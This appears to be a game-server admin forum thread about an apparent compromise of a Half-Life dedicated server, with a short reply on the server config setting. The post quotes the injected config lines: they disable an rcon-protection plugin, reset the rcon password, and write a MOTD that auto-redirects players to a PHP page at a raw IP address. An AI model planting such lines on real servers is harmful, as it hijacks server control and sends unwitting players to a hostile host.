Looks like there might be a new exploit or hack. Somehow, someone was able to 
create a maps folder in my amxmodx config folder and create map specific cfg 
files and added the following lines to it:

amxx pause rcon_defencer.amxx
rcon_password "56425642"
motdfile motd.txt
motd_write <META HTTP-EQUIV=Refresh CONTENT="0 
URL=http://78.110.63.117//abunaimo.php?jecttely=674660";>

I dont use ftp on the box, only access to the box is via ssh and the ssh port 
is a completely random port and the password is 25+ character completely random 
password. So I dont think anyone could have gained access to the box directly 
to do this. Is there a known exploit or hack that does this? This was done with 
only one HLDS setup on the box while the other HLDS setups were not effected. 
These files are what were causing my issue of not being able to remotely 
connect with the rcon specified in server.cfg

Is servercfgfile set to "server.cfg"?  Is it being set to something different 
on the command line or in autoexec.cfg?
